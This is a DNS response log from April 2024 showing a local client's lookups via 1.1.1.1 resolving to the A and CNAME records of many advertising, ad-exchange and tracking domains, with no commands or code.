Apr 11, 2024 23:26:58.966356993 CEST	1.1.1.1	192.168.2.17	0xe8bb	No error (0)	pixel.33across.com		67.202.105.21	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966356993 CEST	1.1.1.1	192.168.2.17	0xe8bb	No error (0)	pixel.33across.com		67.202.105.22	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966872931 CEST	1.1.1.1	192.168.2.17	0xdd7c	No error (0)	exchange.journeymv.com		54.86.59.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966872931 CEST	1.1.1.1	192.168.2.17	0xdd7c	No error (0)	exchange.journeymv.com		35.168.157.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966872931 CEST	1.1.1.1	192.168.2.17	0xdd7c	No error (0)	exchange.journeymv.com		54.87.249.239	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.541385889 CEST	1.1.1.1	192.168.2.17	0x63a1	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.542406082 CEST	1.1.1.1	192.168.2.17	0x3421	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.542406082 CEST	1.1.1.1	192.168.2.17	0x3421	No error (0)	image6v2.pubmnet.com	pugm-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.542406082 CEST	1.1.1.1	192.168.2.17	0x3421	No error (0)	pugm-vac.pubmnet.com		8.28.7.81	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.542582035 CEST	1.1.1.1	192.168.2.17	0x4aa2	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.542582035 CEST	1.1.1.1	192.168.2.17	0x4aa2	No error (0)	image6v2.pubmnet.com	pugm-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.544053078 CEST	1.1.1.1	192.168.2.17	0xcdb	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.544053078 CEST	1.1.1.1	192.168.2.17	0xcdb	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.544790983 CEST	1.1.1.1	192.168.2.17	0x5f3c	No error (0)	x.bidswitch.net	user-data-us-west.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.549252987 CEST	1.1.1.1	192.168.2.17	0xe2a2	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.549252987 CEST	1.1.1.1	192.168.2.17	0xe2a2	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.160.182.222	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.147.21.160	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.158.42.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.158.97.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.197.158.229	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.157.45.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		52.72.43.196	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551547050 CEST	1.1.1.1	192.168.2.17	0x25c3	No error (0)	sync.srv.stackadapt.com		54.225.145.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.551764965 CEST	1.1.1.1	192.168.2.17	0xa861	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.552964926 CEST	1.1.1.1	192.168.2.17	0x9ee8	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.552964926 CEST	1.1.1.1	192.168.2.17	0x9ee8	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.199.126.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.552964926 CEST	1.1.1.1	192.168.2.17	0x9ee8	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.227.167.139	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.552964926 CEST	1.1.1.1	192.168.2.17	0x9ee8	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		107.22.88.141	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.552964926 CEST	1.1.1.1	192.168.2.17	0x9ee8	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.239.23.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.159.170.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.147.54.171	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.144.51.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.164.184.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.145.3.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.144.222.135	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.162.112.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.553569078 CEST	1.1.1.1	192.168.2.17	0x8352	No error (0)	sync.ipredictive.com		54.163.75.176	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.554765940 CEST	1.1.1.1	192.168.2.17	0x7855	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.554765940 CEST	1.1.1.1	192.168.2.17	0x7855	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.554765940 CEST	1.1.1.1	192.168.2.17	0x7855	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.554765940 CEST	1.1.1.1	192.168.2.17	0x7855	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.554765940 CEST	1.1.1.1	192.168.2.17	0x7855	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555006027 CEST	1.1.1.1	192.168.2.17	0x2548	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555006027 CEST	1.1.1.1	192.168.2.17	0x2548	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555006027 CEST	1.1.1.1	192.168.2.17	0x2548	No error (0)	zemanta-nychi2.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555006027 CEST	1.1.1.1	192.168.2.17	0x2548	No error (0)	nydc1.outbrain.org		64.202.112.191	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555536985 CEST	1.1.1.1	192.168.2.17	0x629d	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555536985 CEST	1.1.1.1	192.168.2.17	0x629d	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.555536985 CEST	1.1.1.1	192.168.2.17	0x629d	No error (0)	zemanta-nychi2.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.564316034 CEST	1.1.1.1	192.168.2.17	0x4fd2	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.564330101 CEST	1.1.1.1	192.168.2.17	0x5479	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.579637051 CEST	1.1.1.1	192.168.2.17	0x161b	No error (0)	cm.g.doubleclick.net		142.250.65.226	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.631031990 CEST	1.1.1.1	192.168.2.17	0x1b78	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.631978035 CEST	1.1.1.1	192.168.2.17	0x6843	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.681189060 CEST	1.1.1.1	192.168.2.17	0xe626	No error (0)	de.tynt.com		67.202.105.32	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.681189060 CEST	1.1.1.1	192.168.2.17	0xe626	No error (0)	de.tynt.com		67.202.105.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.746990919 CEST	1.1.1.1	192.168.2.17	0xf6d6	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.746990919 CEST	1.1.1.1	192.168.2.17	0xf6d6	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.746990919 CEST	1.1.1.1	192.168.2.17	0xf6d6	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.746990919 CEST	1.1.1.1	192.168.2.17	0xf6d6	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.861038923 CEST	1.1.1.1	192.168.2.17	0x8e8b	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876125097 CEST	1.1.1.1	192.168.2.17	0x7c62	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.205	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.201	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.160	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.168	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.203	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.200	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.165	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.169	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		211.120.53.204	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.876441002 CEST	1.1.1.1	192.168.2.17	0xfd9f	No error (0)	tg.dr.socdm.com		124.146.153.170	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.887525082 CEST	1.1.1.1	192.168.2.17	0x3bfb	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.035995007 CEST	1.1.1.1	192.168.2.17	0x8fad	No error (0)	s.amazon-adsystem.com		52.46.130.91	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.147.229.205	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.160.108.204	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.158.157.86	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.161.79.168	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.160.85.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		52.73.102.165	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		52.87.68.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.066900015 CEST	1.1.1.1	192.168.2.17	0x2418	No error (0)	match.prod.bidr.io		54.145.28.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.069897890 CEST	1.1.1.1	192.168.2.17	0xb323	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.069897890 CEST	1.1.1.1	192.168.2.17	0xb323	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.070156097 CEST	1.1.1.1	192.168.2.17	0x6a35	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.070156097 CEST	1.1.1.1	192.168.2.17	0x6a35	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.097245932 CEST	1.1.1.1	192.168.2.17	0x1f12	No error (0)	us01.z.antigena.com		40.76.134.238	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.099621058 CEST	1.1.1.1	192.168.2.17	0xf741	No error (0)	um.simpli.fi		35.236.220.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.099621058 CEST	1.1.1.1	192.168.2.17	0xf741	No error (0)	um.simpli.fi		34.150.170.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.099621058 CEST	1.1.1.1	192.168.2.17	0xf741	No error (0)	um.simpli.fi		35.194.66.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.148418903 CEST	1.1.1.1	192.168.2.17	0x4924	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.148418903 CEST	1.1.1.1	192.168.2.17	0x4924	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.148418903 CEST	1.1.1.1	192.168.2.17	0x4924	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256587982 CEST	1.1.1.1	192.168.2.17	0x7fc3	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256587982 CEST	1.1.1.1	192.168.2.17	0x7fc3	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256587982 CEST	1.1.1.1	192.168.2.17	0x7fc3	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256866932 CEST	1.1.1.1	192.168.2.17	0x1984	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256866932 CEST	1.1.1.1	192.168.2.17	0x1984	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256866932 CEST	1.1.1.1	192.168.2.17	0x1984	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256866932 CEST	1.1.1.1	192.168.2.17	0x1984	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.256866932 CEST	1.1.1.1	192.168.2.17	0x1984	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.264647007 CEST	1.1.1.1	192.168.2.17	0x72ce	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.265045881 CEST	1.1.1.1	192.168.2.17	0x3bd7	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266184092 CEST	1.1.1.1	192.168.2.17	0x595e	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266184092 CEST	1.1.1.1	192.168.2.17	0x595e	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266184092 CEST	1.1.1.1	192.168.2.17	0x595e	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266491890 CEST	1.1.1.1	192.168.2.17	0x95	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266491890 CEST	1.1.1.1	192.168.2.17	0x95	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.266491890 CEST	1.1.1.1	192.168.2.17	0x95	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.223.215.115	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		18.233.92.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.198.232.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.206.152.231	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		44.197.125.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.226.189.1	A (IP address)	IN (0x0001)	false
